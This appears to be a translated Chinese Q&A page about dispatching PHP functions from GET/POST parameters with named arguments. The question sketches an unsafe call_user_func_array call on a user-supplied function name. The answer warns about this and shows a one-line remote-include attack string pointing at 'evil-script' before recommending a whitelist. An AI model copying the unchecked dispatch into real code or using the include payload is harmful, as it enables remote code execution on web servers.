使用来自 GET 或 POST 的参数调用 PHP 函数

问题描述

假设我在文件 functions.php 中有以下函数:

function foo($baz,$qux = 2,$quux = 3){
    echo 'foo: $baz - $qux - $quux';
}

function bar($baz,$qux = 5,$quux = 6){
    echo 'bar: $baz - $qux - $quux';
}

现在我希望能够使用 GET(或 POST)调用这些函数。 例如

  • 如果我导航到 /functions.php?call_func=foo&baz=1&qux=4,这应该打印 foo: 1 - 4 - 3
  • 如果我转到 /functions.php?call_func=bar&baz=7&quux=3,它应该打印 bar: 7 - 5 - 3

使用 call_user_func_array 之类的方法,我将能够实现部分功能,但不是全部,因为它无法处理关联数组。所以我会设想类似的东西(通过适当的安全检查):

$function_name = $_GET['call_func'];
unset($_GET['call_func']);
call_user_func_array($function_name,$_GET);

但是,这不处理关联数组,因此第二个示例调用 (/functions.php?call_func=bar&baz=7&quux=3) 会将 quux 参数传递给 qux 而不是 quux。>

是否有从 GET 或 POST 请求调用不同函数的正确方法?

解决方法

首先,您的实施在信息安全方面存在风险。 通过这种方式可以调用任何函数。 想象一下,如果恶意攻击者发送了

call_func=include&baz=http://evil-script&quux=null

最安全的解决方案,也将满足您的问题的要求,是使用“白名单”,其中包含可以调用的函数,以及允许它们接受哪些参数

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...